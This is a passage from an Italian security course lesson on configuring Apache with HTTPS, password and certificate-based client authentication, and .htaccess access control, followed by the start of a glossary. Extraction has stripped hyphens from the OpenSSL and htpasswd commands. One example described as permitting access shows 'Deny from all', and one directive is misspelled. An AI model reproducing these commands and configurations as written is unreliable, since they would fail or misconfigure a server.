la base del contenuto dei file, protette crittograficamente
per rilevare ogni manomissione e garantire l'integrit dei fi-
le.
Inoltre, sulla maggior parte dei sistemi Unix, si possono
utilizzare estensioni ai meccanismi di controllo degli ac-
cessi del file system, in modo da consentire solo l'accoda-
mento dei dati (append), senza possibilit di alterare i dati
gi registrati.
Un ultimo aspetto della gestione dei log la loro con-
servazione; non potendoli mantenere su disco a tempo in-
definito a causa del progressivo ingombro, necessario
stabilire politiche di archiviazione e cancellazione. Esse di-
pendono dalle tipologie dei dati, dalle esigenze aziendali e
dalle normative vigenti, e si applicano sia ai file di log, sia
ai contenuti di un eventuale database. La cifratura dei log
archiviati evita che le relative informazioni possano essere
usate per agevolare violazioni alla sicurezza.
Controllo daccesso
dei servizi web
La sicurezza dei servizi Web comprende diversi aspetti,
che vanno dai meccanismi di autenticazione del client e del
server, alla protezione delle comunicazioni, al controllo de-
gli accessi per i file relativi al servizio, alla gestione dei pro-
cessi applicativi che utilizzano il Web come interfaccia.
HTTP e HTTPS
Il protocollo HTTPS, che consiste di HTTP all'interno di
un canale SSL (Secure Sockets Layer), considerato un ser-
vizio Web sicuro. Garantisce la riservatezza e lintegrit del-
le comunicazioni, nonch l'autenticazione del server e, op-
zionalmente, del client (l'autenticazione richiede chiavi
asimmetriche e certificati). SSL e TLS (Transport Layer Se-
curity) si sono evoluti fino a raggiungere un alto livello di af-
fidabilit, tanto che la maggior parte delle transazioni fi-
nanziarie si svolge attraverso HTTPS. Il protocollo SET (Se-
cure Electronic Transaction), introdotto dalle societ di car-
te di credito, ha avuto scarsa accettazione sia per i costi
(tra l'altro, richiede che anche il client sia dotato di certifi-
cato), sia perch SSL ritenuto abbastanza sicuro per la
maggior parte delle transazioni online.
SSL impone l'autenticazione del server, perch uno dei
principali problemi con molte applicazioni e siti Web ga-
rantire all'utente di essere connesso al server giusto. Una
volta stabilito il canale protetto tra client e server, il client
pu essere autenticato con strumenti tradizionali, come
l'autenticazione del protocollo HTTP o quella realizzata dal-
l'applicazione.
Spesso, per motivi di efficienza, la connessione al sito
Web inizia in HTTP e passa a HTTPS solo al momento di
scambiare dati personali o riservati. La pagina pu anche
fare uso di frame, con la porzione sicura all'interno del fra-
me e con porzioni non protette tutto intorno.
Interazione tra server
e sistema
La scelta di un server HTTP dovrebbe tener conto del
modo in cui il server interagisce con il sistema sul quale
installato. Le modalit dinterazione possono essere diver-
se, e non sempre desiderabili. In generale, qualsiasi intera-
zione non necessaria con il sistema offre una possibilit ag-
giuntiva di attaccare il sistema e, nello stesso tempo, au-
menta il numero di componenti del sistema esposti, cia-
scuno con le proprie potenziali vulnerabilit.
Una prima distinzione riguarda il fatto che il server sia
destinato a utenti locali, per esempio in una Intranet, op-
pure sia destinato a utenti specifici del servizio, o presti ad-
dirittura un servizio anonimo. Nel primo caso preferibile
un'integrazione con i meccanismi di gestione e autentica-
zione degli utenti locali, ad esempio nell'ambito di un do-
minio Windows. Nel secondo caso preferibile una gestio-
ne separata degli utenti, eventualmente con strumenti
propri del server.
Considerazioni analoghe valgono per il controllo degli
accessi ai file, qualora file diversi debbano esser accessibili
a utenti con diritti diversi. Tale distinzione pu essere ge-
stita attraverso i diritti del file system se gli utenti sono lo-
cali o del dominio, altrimenti pu essere gestita dal server.
Un altro aspetto quello degli applicativi (CGI - Common
Gateway Interface - o servlet), che utilizzano il server HTTP
come interfaccia verso gli utenti. CGI, ad esempio, l'in-
terfaccia pi vecchia (e sempre meno usata) tra applica-
zioni e Web server; in pratica, permette al browser di chie-
dere al Web server di eseguire un'applicazione (programma
eseguibile o script). Le applicazioni hanno, in generale, la
necessit di accedere a file e altre risorse; se attraverso il
Web server si pu determinare un comportamento ano-
malo di tali applicativi, le risorse a cui hanno accesso pos-
sono finire compromesse. Anche in tali casi deve essere ap-
plicato con rigore il principio di concedere i privilegi mini-
mi necessari.
Specialmente nel caso di soluzioni integrate come IIS (In-
ternet Information Services, componente di Windows), be-
ne riconoscere quali sono i servizi esposti attraverso il ser-
ver HTTP. Ad esempio, nel 2001 sono stati possibili nume-
rosi attacchi a IIS, a causa del fatto che veniva esposto un
servizio di accesso alle stampanti attraverso l'Internet Prin-
ting Protocol, un protocollo per la gestione delle stampe con
interfaccia HTTP (utilizzato, peraltro, anche dal sistema
CUPS Common Unix Printing Systemper la stampa su Unix
e derivati). Nonostante il nome che porta, tale servizio ac-
cettabile su rete locale, ma poco giustificabile su un ser-
ver, dove andrebbe disattivato. Molti amministratori non
erano a conoscenza del fatto che esso fosse accessibile at-
traverso IIS, e la vulnerabilit fu sfruttata da un worm (Sad-
mind), come spesso accade quando una vulnerabilit vie-
ne scoperta su server molto diffusi.
Con i server come Apache, esplicitamente nati per un
utilizzo su Internet, generalmente necessario installare un
modulo specifico al fine di attivare una funzionalit. Ci
rende il controllo immediato, sempre che l'installazione dei
moduli sia verificata: molte distribuzioni installano per de-
fault un gran numero di moduli. Altri worm hanno sfrutta-
5.7.6 Controllo
daccesso dei servizi
web
5.7.6.1 Conoscere la
differenza fra siti web
HTTP e HTTPS
5.7.6.2 Sapere in
che modo
l'interazione fra il
servizio web e le altre
componenti di
sistema influenza la
sicurezza
to tale fatto per attaccare Apache; ad esempio, nel 2002 il
worm Slapper attaccava sistemi Linux configurati con Apa-
che, mod_ssl e una versione vulnerabile delle librerie
OpenSSL.
Attivazione di un server HTTPS
Normalmente, il protocollo HTTP utilizza la porta 80 e
HTTPS la porta 443. L'attivazione di HTTPS su un Web ser-
ver solitamente un'operazione molto semplice. L'aspetto
principale da curare nella configurazione la generazione
e installazione del certificato del server con la corrispon-
dente chiave privata, in modo che siano utilizzabili per l'au-
tenticazione SSL.
Come esempio, vediamo i passi fondamentali per l'atti-
vazione del Web server Apache con OpenSSL (gi integra-
to in Apache2; con la versione 1.3 occorre installare OpenS-
SL e mod_ssl, la sua interfaccia con Apache). Le immagini
d'esempio si riferiscono a SUSE Linux 10.
Generazione e installazione del certificato per il server:
i seguenti comandi permettono di generare un certifica-
to che pu essere usato per i test prima di acquisirne uno
da una Certification Authority commerciale, o di crearne
uno con una propria CA.
openssl req new out www.example.com.csr
openssl rsa in privkey.pem out www.example.com.key
openssl x509 in www.example.com.csr out
www.example.com.crt req signkey www.example.com.key
days 365
openssl x509 in www.example.com.crt out
www.example.com.der.crt outform DER
Il primo comando crea una richiesta di certificato; nel dia-
logo che segue, si indica in particolare il Common Name per
il quale il certificato richiesto (vedi Common Name e Di-
stinguished Name alla sezione 5.6.2 della lezione 6), coinci-
dente con il nome completo di dominio del server
(www.example.com, nell'esempio). Il comando richiede an-
che l'immissione di una passphrase (frase usata come pas-
sword) di protezione. PEM (Privacy-Enhanced Mail) il for-
mato standard usato da OpenSSL per le chiavi e i certificati.
L'uso di una passphrase non pratico per la chiave pri-
vata di un server, che deve accedervi in modo automatico
continuamente. Perci il secondo comando rimuove la pas-
sphrase. Ci significa che il file generato contiene la chiave
privata del server in chiaro, e deve quindi essere trattato
con grande cura; in particolare, deve essere leggibile (e non
scrivibile) dal solo server Web.
Una tecnica per mantenere la passphrase della chiave se-
greta consiste nel farla inserire da un apposito programma
di backend configurando, al posto di
SSLPassPhraseDialog builtin
il comando
SSLPassPhraseDialog exec:/etc/apache2/pass
dove pass il comando che, una volta lanciato, scrive la
passphrase sul proprio output standard.
Il terzo comando crea un certificato autofirmato.
Il quarto comando converte il certificato nel formato
DER, necessario per essere utilizzabile dal server. DER (Di-
stinguished Encoding Rules) un metodo di codifica per da-
ta objects (strutture di dati, come ad esempio un certifica-
to X.509) con firma digitale. Rientra negli standard ISO-OSI
(Open Systems Interconnection dell'International Organiza-
tion for Standardization).
I file www.example.com.crt e www.example.com.key del-
l'esempio devono essere copiati in directory, dove siano
trovati dal server, per esempio /etc/apache2/ssl.crt e
/etc/apache2/ssl.key (in SUSE Linux), o in
/etc/httpd/conf/ssl.crt e /etc/httpd/conf/ssl.key in Fedora Co-
re (derivato da Red Hat).
File di configurazione
A seconda del sistema operativo, possono essere ne-
cessarie modifiche al file di configurazione httpd.conf (pre-
sente, ad esempio, in /etc/httpd/conf in Fedora Core 3). Per
prima cosa necessario attivare mod_ssl (se non lo gi).
A seconda dell'architettura, pu essere necessario inserire
nel file httpd.conf una delle seguenti linee, o verificarne la
presenza:
LoadModule ssl_module modules/libssl.so
LoadModule ssl_module modules/ApacheModuleSSL.dll
LoadModule ssl_module modules/ApacheModuleSSL.so
LoadModule ssl_module modules/mod_ssl.so
Pu anche essere necessario aggiungere la linea:
AddModule mod_ssl.c
Nei sistemi con riferimento a SE Linux (un tentativo di
standardizzazione seguito da alcune distribuzioni com-
5.7.6.3. Essere in
grado d'implementare
una versione sicura di
un sito Web non
protetto, generando
chiavi e richiesta di
certificazione, e
inserendo chiavi e
certificati
Attivazione di mod_ssl
nella configurazione di
Fedora Core 3
Primo comando: la
richiesta del certificato
per il server
merciali), si pu dover modificare il file /etc/sysconfig/apa-
che2 con linserimento della riga seguente:
APACHE_SERVER_FLAGS="-D SSL"
e accertarsi che sia presente ssl nella riga:
APACHE_MODULES="..."
Quindi, necessario configurare la gestione di SSL al-
l'interno di httpd.conf. Fra i parametri principali vi sono:
SSLEngine on
SSLRandomSeed startup builtin
e i parametri SSLCertificateFile e SSLCertificateKeyFile che
devono puntare ai due file <server>.crt e <server>.key (nel-
l'esempio precedente: i file www.example.com.crt e
www.example.com.key).
In alcuni file di configurazione, la parte relativa a SSL
protetta da una direttiva IfDefineSSL o IfDefine HAVE_SSL. In
tali casi, il server deve essere eseguito con l'opzione DSSL
o DHAVE_SSL. Su sistemi Unix, ci pu richiedere modifi-
che del corrispondente file init, mentre in Windows pu es-
sere necessaria la modifica della chiave di registro
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\Apache2.
Autenticazione con password
Spesso si desidera che gli utenti di un sito Web siano au-
tenticati, almeno per accedere a parte del sito. In molti ca-
si, tuttavia, essi sono utenti solo del servizio Web, non uten-
ti del sistema. Si utilizza, quindi, un file di associazioni uten-
te/password specifico per il server, da utilizzare solo per
l'autenticazione HTTP. Non tutti i server Web offrono tale
possibilit, che ha lo svantaggio di delegare al server, an-
zich al sistema operativo, il controllo dell'accesso al file.
Facendo riferimento ad Apache, il modulo da installare di-
pende dal tipo di database che sintende utilizzare per ge-
stire gli utenti: mod_auth utilizza il formato testo in chiaro,
mentre pi interessanti sono mod_auth_digest, che utilizza
un digest (hash) MD5, e mod_auth_ldap che utilizza un ser-
ver LDAP.
Creazione di un file di utenti e password
L'utility htpasswd permette di creare un file di password
adatto a essere utilizzato con Apache. Il comando:
htpasswd c MD5 /etc/httpd/conf/passwd utente1
un esempio (valido in Fedora Core) di come si pu crea-
re un nuovo file di password passwd (-c significa crea nuo-
vo file) utilizzando l'hash MD5, e inserirvi l'utente utente1,
per il quale viene chiesta la password.
Per maggiore flessibilit, anche possibile creare grup-
pi di utenti. Ad esempio si pu creare un file
/etc/httpd/conf/groups
in cui inserire gruppi di utenti nella forma:
Gruppo1: utente1 utente2 utente3
A tal punto possibile proteggere una directory inse-
rendo, ad esempio, nel file di configurazione:
<Location "/test1">
AuthType Basic
AuthName "Area di test 1"
AuthUserFile /etc/httpd/conf/passwd
AuthGroupFile /etc/httpd/conf/groups
require group Gruppo1
</Location>
Cos facendo, agli utenti che nel file /etc/httpd/conf/
groups sono elencati per il gruppo Gruppo1 e che sono con-
tenuti nel file /etc/httpd/conf/passwd, viene presentata
una richiesta di autenticazione per "Area di test 1".
Per utilizzare la Digest Authentication anzich quella Ba-
sic (che trasmette user e password in chiaro), necessario
modificare AuthType da Basic a Digest. Basic e Digest
Authentication sono trattate nella RFC 2617.
Autenticazione SSL del client
L'autenticazione SSL del client opzionale, e solitamen-
te assente, ma possibile utilizzarla come meccanismo pi
robusto rispetto a quelli offerti da HTTP.
Per poter autenticare i client con SSL necessario che
ogni client autorizzato disponga di un proprio certificato,
e che il certificato della corrispondente Certification Autho-
rity sia installato sul server per la verifica. Si possono ac-
quisire i certificati da un fornitore commerciale, ma anche
possibile gestire in proprio (per esempio, nell'ambito di
un'azienda) una CA per uso interno, tramite una versione
server di Linux o di Windows. I passaggi necessari sono:
1. creare una Certification Authority;
2. installare il certificato della CA sul server e sui browser;
3. creare e installare i certificati per gli utenti.
Tali operazioni sono possibili con un numero limitato di
passaggi. Tuttavia, non si deve sottovalutare la difficolt
nella gestione dei certificati in un ambiente complesso, con
molti utenti e frequenti generazioni e revoche di certifica-
ti. Si deve anche tenere conto della criticit della chiave pri-
vata della CA, con la quale si possono generare certificati
validi per chiunque.
Creazione della Certification Authority
Per creare una nuova CA su un server Linux, si pu usa-
re l'utility CA.pl (uno script Perl), distribuita insieme a
OpenSSL.
Il comando:
CA.pl newca
permette di eseguire i diversi passaggi necessari per la
creazione di una nuova CA. A tale scopo, esso utilizza i pa-
rametri definiti nel file openssl.cnf, che possono essere per-
sonalizzati prima di creare la CA. Se vengono usate le im-
postazioni di default, la CA viene creata in una directory
demoCA.
Mediante tale operazione, si creano anche il certificato
della CA cacert.pem, e la corrispondente chiave privata pri-
vate/cakey.pem, che verranno usati per firmare i certifica-
ti degli utenti.
Installazione del certificato della CA sul server e
sul browser
Il comando:
openssl x509 in cacert.pem out cacert.crt
prepara il certificato che deve essere pubblicato sul server
Web e che sar scaricato dai browser.
E' tuttavia necessario che venga inviato ai browser con
il corretto tipo MIME (Multipurpose Internet Mail Extensions,
uno standard per rappresentare vari tipi di dati binari sot-
to forma di testo, usato non soltanto dai programmi di po-
sta). A tale scopo, si pu inserire la seguente istruzione in
httpd.conf:
AddType application/x-x509-ca-cert.crt
Con Netscape/Mozilla sufficiente scaricare il certifica-
to per poterlo installare.
Con Internet Explorer, il certificato deve essere salvato
su disco; con un doppio clic sul file, viene attivata la pro-
cedura d'installazione del certificato. E' poi preferibile atti-
vare Strumenti > Opzioni Internet > Contenuto > Certificati >
5.7.6.4. Essere in
grado di configurare
un sito Web per
l'identificazione e
autorizzazione dei
client tramite
password in formato
testo
5.7.6.5. Essere in
grado di configurare
un sito Web per
l'identificazione e
autorizzazione dei
client tramite
certificato, come in
SSL V.3
Autorit di certificazione fonti attendibili, selezionare il cer-
tificato e verificare con Avanzate che le propriet siano
quelle desiderate.
Per l'installazione sul server, basta copiare il certificato
nella directory ssl.crt e aggiungere a httpd.conf la seguente
istruzione:
SSLCACertificateFile conf/ssl.crt/cacert.crt
Creazione dei certificati per i client e per il server
La creazione di nuovi certificati con la CA appena rea-
lizzata pu avvenire con i due comandi:
CA.pl newreq
CA.pl sign
Il primo genera una richiesta di certificato nel file new-
req.pem, mentre il secondo lo firma. Il nuovo certificato
collocato in newcert.pem.
Per estrarre la chiave privata del server, viene usato il
comando:
openssl rsa in newreq.pem out server.key
(vedi anche l'esempio della sezione 5.7.6.3).
Per disporre del certificato nel formato DER desiderato
(vedi 5.7.6.3), il comando :
openssl x509 in newcert.pem out server.crt outform
DER
Per preparare un certificato da importare in un client,
dopo averlo firmato, necessario produrre un oggetto in
formato PKCS12 (uno dei Public Key Cryptography Standards
di RSA, che definisce come memorizzare chiavi private e
certificati con la protezione di una chiave simmetrica). Con
il comando:
CA.pl pkcs12 newreq.pem
si produce un oggetto con estensione .p12 che pu essere
importato nel client. Viene richiesta una passphrase per
proteggere la chiave privata contenuta nel file. Va sottoli-
neato che tale procedura per la creazione di certificati
client espone la chiave privata, quindi deve essere usata
solo in contesti in cui tale fatto sia accettabile. In ogni ca-
so, solo il comando CA.pl sign deve essere eseguito dalla
CA; gli altri sono preferibilmente eseguiti dall'utente. Un'al-
ternativa effettuare la richiesta online direttamente dal
browser, per esempio tramite interfaccia Web (con Net-
scape/Mozilla questo pu essere ottenuto usando il tag key-
gen all'interno di un form).
Configurazione del server
L'autenticazione del client viene controllata in Apache
dalla direttiva SSLVerifyClient. E' possibile utilizzarla sia glo-
balmente, sia per singole aree. Ad esempio, il seguente
frammento di httpd.conf:
SSLVerifyClient none
<Directory /var/www/htm/logs>
SSLVerifyClient require
SSLVerifyDepth 3
SSLCACertificateFile /etc/httpd/conf/ssl.crt/cacert.crt
SSLOptions +ExportCertData
SSLRequireSSL
SSLRequire (%{SSL_CLIENT_S_DN_OU} in
{"gestione","audit"}\
and %{TIME_WDAY} >=1 and
%{TIME_WDAY} <=5\
and %{TIME_HOUR} >=8 and
%{TIME_HOUR} <=20)
</Directory>
indica che il sito non richiede autenticazione del client,
tranne che per la directory /var//www/htm/logs, che ac-
cessibile solo via SSL. Per tale directory l'autenticazione
richiesta, e sono ammessi solo utenti con un certificato va-
lido in cui l'Organization Unit (OU, vedi sezione 5.6.2, lezio-
ne 6) sia gestione o audit e solo in orario di ufficio. I dati re-
lativi al certificato client sono esportati e utilizzabili, ad
esempio, dagli applicativi CGI/SSI (Common Gateway Inter-
face/Server Side Includes) come, ad esempio, un servizio di
webmail che pu presentare la mailbox corretta in base al
DN dell'utente (il Distinguished Name che indica univoca-
mente un oggetto nella struttura di una directory).
In ambiente Windows, per esempio Windows Server
2003, la creazione e configurazione di una CA richiede una
serie di passi eseguibili attraverso l'interfaccia grafica:
1. configurazione del sistema operativo come domain ser-
ver
2. installazione dei Certificate Services in Pannello di con-
trollo > Installazione applicazioni > Installazione compo-
nenti di Windows. In tale fase, occorre dichiarare se la CA
root o subordinata, e se di tipo enterprise o standalone.
3. Configurazione della CAin Strumenti d'amministrazione >
Certification Authority > selezione della CA > clic destro >
Propriet e relative sezioni.
4. Definizione delle politiche di rilascio dei certificati tra-
mite un certificate template, ovvero un modello di rego-
le che pu essere scelto tra i tanti gi pronti (per i vari ti-
pi di utilizzo), o personalizzando uno di quelli standard.
5. Richieste di certificato, che possono avvenire in tre mo-
di: auto-enrollment (autoiscrizione) senza intervento
umano (una novit della PKI di Windows Server 2003; ri-
chiede la configurazione di una group policy, o criterio di
gruppo); tramite la console certmgr.msc o tramite brow-
ser (purch sia installato IIS sul server).
Un buon riferimento compatto sull'uso di Windows
2003 "Best Damn Windows Server 2003 Book Period" di
Susan Snedaker, Syngres Publishing 2004.
Installazione di una CA in
Windows Server 2003
Impostazione del database
dei certificati in Windows
Server 2003
Il controllo degli accessi un aspetto fondamentale in un
server Web. Il controllo minimo impedire che vengano ri-
chiesti documenti esterni all'area dedicata ai documenti
che si intende pubblicare (solitamente una directory).
Il meccanismo che offre pi garanzie da tale punto di vi-
sta, almeno su sistemi di tipo Unix e nei casi in cui utiliz-
zabile, l'uso di Change Root, chroot(). Grazie a esso, il si-
stema non permette al processo di vedere il file system al
di fuori della directory indicata. Il meccanismo abitual-
mente utilizzato dai server FTP (File Transfer Protocol), e
spesso dai server di posta. Anche in caso di compromis-
sione del server, il meccanismo non permette di raggiun-
gere parti del sistema come i file di log o gli eseguibili dei
processi di sistema, che fornirebbero il controllo dell'inte-
ro server. Tuttavia, l'efficacia di Change Root limitata
quando il processo controllato ha i privilegi di root e, co-
munque, non impedisce di aprire connessioni di rete. Nel
caso dei server HTTP, inoltre, il meccanismo spesso non
utilizzabile perch le applicazioni CGI/SSI possono avere
necessit di accesso ad ampie parti del sistema. In tali ca-
si, si ritorna al controllo degli accessi fornito da:
1. server HTTP per quanto riguarda i documenti forniti di-
rettamente;
2. sistema operativo e controlli interni per quanto riguarda
gli applicativi CGI/SSI.
I controlli messi a disposizione dai server HTTP pi dif-
fusi offrono una certa flessibilit. E' comunque importante
capire a fondo la logica e il funzionamento di tali controlli:
un impiego errato pu esporre i dati ad accessi indebiti, o
l'intero sistema pu essere compromesso anche se tenuto
aggiornato.
Proseguendo con l'esempio basato su Apache, l'accesso
pu essere controllato in base ai seguenti fattori:
1. autenticazione;
2. indirizzo o dominio del mittente della richiesta;
3. tipo di operazione (GET, PUT, POST, DELETE, i metodi
l'equivalente di comandi del protocollo HTTP, che
orientato agli oggetti; vedi RFC 1945).
Il controllo di accesso pu essere applicato a directory o
file. La configurazione dovrebbe essere definita, ogni volta
che sia possibile, tramite direttive (tipicamente in sezioni
<Directory>) del file httpd.conf, o di equivalenti file di confi-
gurazione. Certe distribuzioni Linux utilizzano, infatti, un
breve httpd.conf che richiama, tramite Include, oltre una doz-
zina di file specifici per i vari aspetti di configurazione.
Una soluzione alternativa, sconsigliata quando non sia
una scelta obbligata, l'uso dei file .htaccess all'interno del-
le directory da controllare. In generale, i file .htaccess uti-
lizzano la stessa sintassi dei file di configurazione princi-
pali, e possono essere considerati come file di configura-
zione distribuiti che agiscono sulla directory in cui sono
collocati pi tutte le sottodirectory. Ci che si pu inserire
nei file .htaccess determinato dalla direttiva AllowOverri-
de in httpd.conf, che permette (allow) che le direttive dei fi-
le .htaccess prevalgano (override) su quelle centrali. L'uso
di .htaccess pu essere utile per il virtual hosting (creazione
di diversi siti Web all'interno di un sito fisico e di un domi-
nio) e per modificare i controlli senza riavviare il server
(per fargli rileggere httpd.conf). Tuttavia, un abuso di tale
pratica pu far perdere il controllo di ci che il server ef-
fettivamente autorizzato a pubblicare.
Una regola pratica non usare mai i file .htaccess a me-
no che non si possa accedere al (o ai) file centrali di con-
figurazione, e l'amministratore non sia disposto a modifi-
carli di frequente. Tutte le direttive utilizzabili nei file .htac-
cess possono essere collocate nei file di configurazione
centrali.
Le ragioni principali per non usare file .htaccess sono due:
1. prestazioni: quando presente un AllowOverride per
consentire l'uso di un .htaccess, Apache cerca in ogni di-
rectory un file .htaccess, anche se non viene usato. Inol-
tre, .htaccess caricato ogni volta che un documento (co-
me una pagina Web) viene richiesto. Per di pi .htaccess
si applica anche alle sottodirectory, quindi Apache deve
controllare tutte le directory di livello superiore alla ri-
cerca di un eventuale .htaccess.
2. Sicurezza: usando i file .htaccess si permette agli utenti di
modificare la configurazione del Web server, il che si pu
tradurre in cambiamenti incontrollati. Perci, prima di
concedere agli utenti tale privilegio (tramite AllowOver-
ride), bene considerare attentamente le opzioni. Po-
trebbe anche accadere, tramite .htaccess, che agli utenti
vengano concessi meno privilegi di quanti siano neces-
sari per la loro normale attivit, creando problemi di sup-
porto tecnico e di sicurezza (sia per la non disponibilit
delle informazioni, sia per il rischio di adottare soluzio-
Configurazione della CA in
Windows Server 2003
Scelta di un modello di
policy (certificate
template) per il rilascio dei
certificati
Richiesta di un certificato
tramite la console
certmgr.msc
5.7.6.6. Sapere quale
tipo d'accesso sugli
oggetti d'una directory
pu essere controllato
nei siti Web
ni scorrette non conoscendo la reale causa del proble-
ma).
Come esempio, consideriamo l'uso di un file .htaccess
nella directory /www/htdocs/example contenente la se-
guente direttiva (riguardante i formati di testo consentiti):
AddType text/example .exm
La stessa direttiva pu essere definita inserendo in
httpd.conf la seguente sezione:
<Directory /www/htdocs/example>
AddType text/example .exm
</Directory>
Un esempio di utilizzo di .htaccess a scopo di autentica-
zione il seguente:
1. inserire in httpd.conf la direttiva AllowOverride AuthConfig
(senza la quale il file .htaccess non ha effetto)
2. creare un file .htaccess con il seguente contenuto:
AuthType Basic
AuthName "Password Required"
AuthUserFile /www/passwords/password.file
AuthGroupFile /www/passwords/group.file
Require Group admins
La direttiva AllowOverride in httpd.conf permette di in-
dicare per quali direttive prevale il file .htaccess. Ad esem-
pio, l'indicazione
AllowOveride FileInfo
permette di far prevalere le direttive relative ai tipi di file,
come AddEncoding o ErrorDocument.
I controlli per un oggetto sono definiti in httpd.conf tra-
mite direttive <Directory>, <Location> (simile a Directory,
ma con percorso relativo) e <File>. In un file .htaccess si pos-
sono inserire le direttive ammesse per <Directory> o <Lo-
cation>.
Oltre ai controlli di autenticazione gi descritti, fra le nu-
merose direttive sono importanti le seguenti:
1. order: controlla in che ordine sono valutate le direttive al-
low e deny;
2. allow: specifica quale richiedente pu accedere a una da-
ta directory; il richiedente pu essere all, un nome di do-
minio, un indirizzo IP (anche parziale), una coppia indi-
rizzo di rete/subnet mask e altro;
3. deny: come allow, salvo che specifica a chi negato l'ac-
cesso;
4. require: utilizzata per il controllo utenti; pu essere se-
guita da user e da un elenco di utenti, group e da un elen-
co di gruppi o da un pi generico valid-user;
5. <Limit>: restringe l'effetto dei controlli di accesso ai meto-
di HTTP elencati nella direttiva. Per esempio, la direttiva:
<Limit POST PUT DELETE>
Require valid-user
</Limit>
applica il controllo di accesso ai soli metodi POST, PUT e
DELETE (utilizzati, rispettivamente, per inviare dati al
server, POST e PUT, oltre che per cancellarli). Per un'ap-
plicazione CGI, pu essere opportuno consentire il solo
metodo POST (con cui il client invia dati al server), non
permettendo di scaricare codice dal server (metodo
GET) per esaminarlo.
6. <LimitExcept>: le direttive di controllo accessi racchiuse
tra <LimitExcept> e </LimitExcept> si applicano a tutti i
metodi HTTP, tranne quelli elencati negli argomenti, co-
me nell'esempio:
<LimitExcept POST GET>
Require valid-user
</LimitExcept>
Configurazione
del controllo degli accessi
L'obiettivo di limitare gli accessi a specifiche directory
pu essere realizzato sia attraverso pratiche generali di
programmazione e di amministrazione, che limitino i con-
tenuti e i diritti di accesso di file e directory, sia attraverso
i file di configurazione relativi all'autenticazione di utenti e
client e relativi al Web server.
Riassumiano alcune modalit di configurazione del con-
trollo degli accessi che sono state menzionate nei capitoli
precedenti.
Nel capitolo 5.7.6.4 abbiamo visto che si possono crea-
re file di utenti/password e di gruppi di utenti, e che si pu
proteggere una directory inserendo nel file di configura-
zione di Apache una direttiva del tipo:
<Location "/test1">
AuthType Digest
AuthName "Area di test 1"
AuthUserFile /etc/httpd/conf/passwd
AuthGroupFile /etc/httpd/conf/groups
require group Gruppo1
</Location>
Cos facendo, agli utenti che nel file /etc/httpd/conf/
groups sono elencati per il gruppo Gruppo1 e che sono con-
tenuti nel file /etc/httpd/conf/passwd, viene presentata
una richiesta di autenticazione per "Area di test 1".
Nel caso dell'autenticazione del client tramite SSL, nel
capitolo 5.7.6.5 abbiamo mostrato che l'autenticazione del
client viene controllata in Apache dalla direttiva SSLVerify-
Client. Ad esempio, il seguente frammento di httpd.conf:
SSLVerifyClient none
<Directory /var/www/htm/logs>
SSLVerifyClient require
SSLVerifyDepth 3
SSLCACertificateFile /etc/httpd/conf/ssl.crt/cacert.crt
SSLOptions +ExportCertData
SSLRequireSSL
SSLRequire (%{SSL_CLIENT_S_DN_OU} in
{"gestione","audit"}\
and %{TIME_WDAY} >=1 and
%{TIME_WDAY} <=5\
and %{TIME_HOUR} >=8 and
%{TIME_HOUR} <=20)
</Directory>
indica che il sito non richiede autenticazione del client,
tranne che per la directory /var//www/htm/logs, che ac-
cessibile solo via SSL. Per tale directory, l'autenticazione
richiesta e sono ammessi solo utenti con un certificato va-
lido in cui l'Organization Unit (OU, vedi sezione 5.6.2, lezio-
ne 6) sia gestione o audit e solo in orario di ufficio (da lu-
ned a venerd, dalle 8 alle 20).
Nel capitolo 5.7.6.6 abbiamo visto che si pu limitare
l'accesso a directory e file con le direttive <Directory>, <Lo-
cation> e <File> nel file di configurazione httpd.conf di Apa-
che, e che tali direttive possono essere modificate da ana-
loghe direttive inserite in un file .htaccess nella directory da
controllare (o sua super-directory).
Per esempio, la direttiva:
<Directory />
Order Deny, Allow
Deny from all
</Directory>
proibisce l'accesso al file system. Si possono aggiunge-
re appropriate direttive per consentire l'accesso a deter-
minate directory, per esempio:
<Directory /usr/users/*/public_html>
Order Deny, Allow
Deny from all
</Directory>
<Directory /usr/local/httpd>
Order Deny, Allow
Deny from all
</Directory>
La direttiva <Location>, se usata, prevale su quella <Di-
rectory>.
5.7.6.7. Essere in
grado d'applicare le
corrette limitazioni
d'accesso su
specifiche directory
di un sito Web
GLOSSARIO
3DES (Triple DES)
Tripla applicazione del DES. Lalgoritmo alla base di 3DES
lo stesso di DES, lalgoritmo pi studiato e collaudato di
tutti i tempi. 3DES molto robusto e affidabile, ma stato
progettato circa 30 anni fa ed stato concepito per
limplementazione in hardware.
Accountability
Vedi rendicontabilit.
Accuratezza
tutte le funzioni intese a garantire laccuratezza delle
informazioni.
AES
Pubblicato dal NIST nel 2001, lalgoritmo richiesto per
proteggere le informazioni riservate, ma non classificate,
del governo statunitense. Nel 2003 il governo USA ha
autorizzato luso di AES per la cifratura di documenti
classificati fino al livello di secret con chiave di 128 bit e di
top secret con chiave di 192 o 256 bit. previsto che
risulti sicuro per decenni a venire ed utilizzabile senza il
pagamento di royalty.
Affidabilit del servizio
una vasta categoria di contromisure, perch sono diverse
le aree che potrebbero compromettere laffidabilit dei
servizi informatici.
Agente
lentit che mette in atto la minaccia viene chiamata
agente. Esempi di agenti di minaccia sono un intruso
cheentra in rete attraverso una porta del firewall, un
processo che accede ai dati violando le regole di sicurezza,
un tornado che spazza via il centro di calcolo o un utente
che inavvertitamente permette ad altri di vedere le
password.
Algoritmo (o cifrario)
un insieme di regole logiche e matematiche usate nella
cifratura e nella decifratura.
Analisi del rischio
si classificano le informazioni e le risorse soggette a
minacce e vulnerabilit e si identifica il livello di rischio
associato a ogni minaccia.
Autenticit
garantisce che eventi, documenti e messaggi vengano
attribuiti con certezza al legittimo autore e a nessun altro.
Bene
un bene qualsiasi cosa, materiale o immateriale, che
abbia un valore e debba quindi essere protetta.
BS 7799
hanno una storia che risale agli inizi degli anni 90, quando
il Dipartment of Trade and Industry britannico istitu un
gruppo di lavoro con lintento di fornire alle aziende linee
guida per la gestione della sicurezza delle informazioni. Nel
1993 questo gruppo pubblic il Code of practice for
information security management, un insieme di buone
regole di comportamento per la sicurezza delle
informazioni.
Business Continuity
(talvolta chiamata business continuance) descrive i
processi e le procedure che unorganizzazione mette in
atto per assicurare che le funzioni essenziali rimangano
operative durante e dopo un disastro.
Busta elettronica
una busta elettronica (digital envelope) consiste di un
messaggio che usa la cifratura simmetrica a chiave
segreta e una chiave segreta cifrata in modo asimmetrico.
Qualunque messaggio formattato con CMS pu essere
incapsulato dentro un altro messaggio CMS, applicando
ricorsivamente la busta elettronica. Ci permette agli
